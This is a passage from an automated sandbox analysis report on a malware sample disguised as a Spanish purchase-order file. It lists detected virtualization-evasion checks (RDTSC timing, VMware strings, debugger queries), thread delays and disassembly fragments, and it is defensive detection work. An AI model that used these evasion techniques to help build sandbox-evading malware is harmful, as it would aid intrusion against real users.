                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Yara detected AntiVM3
                Source: Yara matchFile source: Process Memory Space: Solicitud de pedido Documento No 168646080.exe PID: 3180, type: MEMORYSTR
                Tries to detect virtualization through RDTSC time measurements
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeRDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeRDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: BF0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: 2710000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: 4710000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: 8B10000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: 74B0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: 9B10000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: AB10000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: AF30000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: BF30000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: CF30000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: E020000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: F020000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: 10020000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: 11020000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00409AA0 rdtsc 6_2_00409AA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4566Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2404Jump to behavior
                Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 5542Jump to behavior
                Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 3702Jump to behavior
                Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 887Jump to behavior
                Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 868Jump to behavior
                Source: C:\Windows\explorer.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeAPI coverage: 1.7 %
                Source: C:\Windows\SysWOW64\msiexec.exeAPI coverage: 1.7 %
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe TID: 4636Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7468Thread sleep time: -1844674407370954s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7456Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\explorer.exe TID: 7900Thread sleep count: 5542 > 30Jump to behavior
                Source: C:\Windows\explorer.exe TID: 7900Thread sleep time: -11084000s >= -30000sJump to behavior
                Source: C:\Windows\explorer.exe TID: 7900Thread sleep count: 3702 > 30Jump to behavior
                Source: C:\Windows\explorer.exe TID: 7900Thread sleep time: -7404000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exe TID: 7848Thread sleep count: 181 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exe TID: 7848Thread sleep time: -362000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exe TID: 7848Thread sleep count: 9790 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exe TID: 7848Thread sleep time: -19580000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\msiexec.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: explorer.exe, 00000007.00000002.3782175629.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
                Source: explorer.exe, 00000007.00000002.3797149522.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000002.1393720421.0000000000CB2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                Source: explorer.exe, 00000007.00000000.1404737205.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3797149522.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
                Source: explorer.exe, 00000007.00000003.3076068308.000000000901E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
                Source: explorer.exe, 00000007.00000003.2271828334.0000000007306000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_xU1
                Source: explorer.exe, 00000007.00000002.3797149522.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
                Source: explorer.exe, 00000007.00000002.3797149522.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
                Source: explorer.exe, 00000007.00000002.3798409790.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
                Source: explorer.exe, 00000007.00000002.3797149522.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
                Source: explorer.exe, 00000007.00000000.1404737205.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3797149522.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware20,1
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
                Source: explorer.exe, 00000007.00000002.3797149522.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMWare
                Source: explorer.exe, 00000007.00000002.3798409790.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
                Source: explorer.exe, 00000007.00000003.2271828334.0000000007306000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                Source: explorer.exe, 00000007.00000000.1404737205.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3797149522.0000000008F27000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWT`
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA IIES1371
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM
                Source: explorer.exe, 00000007.00000000.1397939438.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
                Source: explorer.exe, 00000007.00000002.3782175629.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
                Source: explorer.exe, 00000007.00000002.3797149522.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
                Source: explorer.exe, 00000007.00000002.3782175629.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00409AA0 rdtsc 6_2_00409AA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0040ACE0 LdrLoadDll,6_2_0040ACE0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F4144 mov eax, dword ptr fs:[00000030h]6_2_016F4144
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F4144 mov eax, dword ptr fs:[00000030h]6_2_016F4144
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F4144 mov ecx, dword ptr fs:[00000030h]6_2_016F4144
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F4144 mov eax, dword ptr fs:[00000030h]6_2_016F4144
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F4144 mov eax, dword ptr fs:[00000030h]6_2_016F4144
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666154 mov eax, dword ptr fs:[00000030h]6_2_01666154
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666154 mov eax, dword ptr fs:[00000030h]6_2_01666154
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165C156 mov eax, dword ptr fs:[00000030h]6_2_0165C156
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F8158 mov eax, dword ptr fs:[00000030h]6_2_016F8158
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01690124 mov eax, dword ptr fs:[00000030h]6_2_01690124
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01720115 mov eax, dword ptr fs:[00000030h]6_2_01720115
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170A118 mov ecx, dword ptr fs:[00000030h]6_2_0170A118
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170A118 mov eax, dword ptr fs:[00000030h]6_2_0170A118
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170A118 mov eax, dword ptr fs:[00000030h]6_2_0170A118
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170A118 mov eax, dword ptr fs:[00000030h]6_2_0170A118
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov eax, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov ecx, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov eax, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov eax, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov ecx, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov eax, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov eax, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov ecx, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov eax, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E10E mov ecx, dword ptr fs:[00000030h]6_2_0170E10E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016901F8 mov eax, dword ptr fs:[00000030h]6_2_016901F8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017361E5 mov eax, dword ptr fs:[00000030h]6_2_017361E5
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017261C3 mov eax, dword ptr fs:[00000030h]6_2_017261C3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017261C3 mov eax, dword ptr fs:[00000030h]6_2_017261C3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE1D0 mov eax, dword ptr fs:[00000030h]6_2_016DE1D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE1D0 mov eax, dword ptr fs:[00000030h]6_2_016DE1D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE1D0 mov ecx, dword ptr fs:[00000030h]6_2_016DE1D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE1D0 mov eax, dword ptr fs:[00000030h]6_2_016DE1D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016DE1D0 mov eax, dword ptr fs:[00000030h]6_2_016DE1D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A0185 mov eax, dword ptr fs:[00000030h]6_2_016A0185
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01704180 mov eax, dword ptr fs:[00000030h]6_2_01704180
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01704180 mov eax, dword ptr fs:[00000030h]6_2_01704180
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E019F mov eax, dword ptr fs:[00000030h]6_2_016E019F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E019F mov eax, dword ptr fs:[00000030h]6_2_016E019F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E019F mov eax, dword ptr fs:[00000030h]6_2_016E019F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E019F mov eax, dword ptr fs:[00000030h]6_2_016E019F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165A197 mov eax, dword ptr fs:[00000030h]6_2_0165A197
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165A197 mov eax, dword ptr fs:[00000030h]6_2_0165A197
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165A197 mov eax, dword ptr fs:[00000030h]6_2_0165A197
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171C188 mov eax, dword ptr fs:[00000030h]6_2_0171C188
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171C188 mov eax, dword ptr fs:[00000030h]6_2_0171C188
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168C073 mov eax, dword ptr fs:[00000030h]6_2_0168C073
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01662050 mov eax, dword ptr fs:[00000030h]6_2_01662050
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E6050 mov eax, dword ptr fs:[00000030h]6_2_016E6050
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165A020 mov eax, dword ptr fs:[00000030h]6_2_0165A020
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165C020 mov eax, dword ptr fs:[00000030h]6_2_0165C020
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F6030 mov eax, dword ptr fs:[00000030h]6_2_016F6030
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E4000 mov ecx, dword ptr fs:[00000030h]6_2_016E4000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01702000 mov eax, dword ptr fs:[00000030h]6_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01702000 mov eax, dword ptr fs:[00000030h]6_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01702000 mov eax, dword ptr fs:[00000030h]6_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01702000 mov eax, dword ptr fs:[00000030h]6_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01702000 mov eax, dword ptr fs:[00000030h]6_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01702000 mov eax, dword ptr fs:[00000030h]6_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01702000 mov eax, dword ptr fs:[00000030h]6_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01702000 mov eax, dword ptr fs:[00000030h]6_2_01702000
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E016 mov eax, dword ptr fs:[00000030h]6_2_0167E016
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E016 mov eax, dword ptr fs:[00000030h]6_2_0167E016
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E016 mov eax, dword ptr fs:[00000030h]6_2_0167E016
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E016 mov eax, dword ptr fs:[00000030h]6_2_0167E016
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165A0E3 mov ecx, dword ptr fs:[00000030h]6_2_0165A0E3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E60E0 mov eax, dword ptr fs:[00000030h]6_2_016E60E0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016680E9 mov eax, dword ptr fs:[00000030h]6_2_016680E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165C0F0 mov eax, dword ptr fs:[00000030h]6_2_0165C0F0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A20F0 mov ecx, dword ptr fs:[00000030h]6_2_016A20F0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E20DE mov eax, dword ptr fs:[00000030h]6_2_016E20DE
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F80A8 mov eax, dword ptr fs:[00000030h]6_2_016F80A8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017260B8 mov eax, dword ptr fs:[00000030h]6_2_017260B8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017260B8 mov ecx, dword ptr fs:[00000030h]6_2_017260B8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166208A mov eax, dword ptr fs:[00000030h]6_2_0166208A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170437C mov eax, dword ptr fs:[00000030h]6_2_0170437C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0172A352 mov eax, dword ptr fs:[00000030h]6_2_0172A352
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01708350 mov ecx, dword ptr fs:[00000030h]6_2_01708350
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E2349 mov eax, dword ptr fs:[00000030h]6_2_016E2349
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E035C mov eax, dword ptr fs:[00000030h]6_2_016E035C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E035C mov eax, dword ptr fs:[00000030h]6_2_016E035C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E035C mov eax, dword ptr fs:[00000030h]6_2_016E035C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E035C mov ecx, dword ptr fs:[00000030h]6_2_016E035C
